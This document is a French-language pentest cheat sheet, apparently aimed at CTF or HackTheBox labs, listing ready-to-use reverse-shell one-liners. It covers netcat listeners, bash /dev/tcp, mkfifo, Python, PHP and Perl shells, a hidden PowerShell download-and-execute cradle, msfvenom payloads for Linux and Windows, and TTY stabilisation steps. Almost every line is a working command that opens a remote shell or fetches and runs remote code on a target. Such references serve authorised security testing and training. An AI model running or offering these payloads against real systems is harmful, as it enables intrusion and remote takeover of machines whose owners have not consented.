Shells Reverse/Bind

Listener (côté attaquant)

nc -lvnp 443
rlwrap nc -lvnp 443           # fleches/historique
pwncat-cs -lp 443            # stabilisation auto

Reverse shells Linux

bash -i >& /dev/tcp/10.10.14.5/443 0>&1
sh -i >& /dev/tcp/10.10.14.5/443 0>&1
nc 10.10.14.5 443 -e /bin/bash
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.5 443 >/tmp/f

python3 -c 'import socket,os,pty;s=socket.socket();s.connect(("10.10.14.5",443));[os.dup2(s.fileno(),f) for f in(0,1,2)];pty.spawn("/bin/bash")'
php -r '$s=fsockopen("10.10.14.5",443);exec("/bin/sh -i <&3 >&3 2>&3");'
perl -e 'use Socket;$i="10.10.14.5";$p=443;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));connect(S,sockaddr_in($p,inet_aton($i)));open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");'

Reverse shell Windows (PowerShell)

powershell -nop -w hidden -c "IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.5/Invoke-PowerShellTcp.ps1')"
# (nishang Invoke-PowerShellTcp -Reverse) — ou generer un one-liner sur revshells.com

msfvenom

msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.5 LPORT=443 -f elf -o s.elf
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.5 LPORT=443 -f exe -o s.exe
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=443 -f exe -o m.exe

Stabiliser un shell (TTY)

python3 -c 'import pty;pty.spawn("/bin/bash")'
# Ctrl-Z  puis cote Kali :  stty raw -echo; fg
export TERM=xterm ; export SHELL=/bin/bash

Générateur pratique : https://www.revshells.com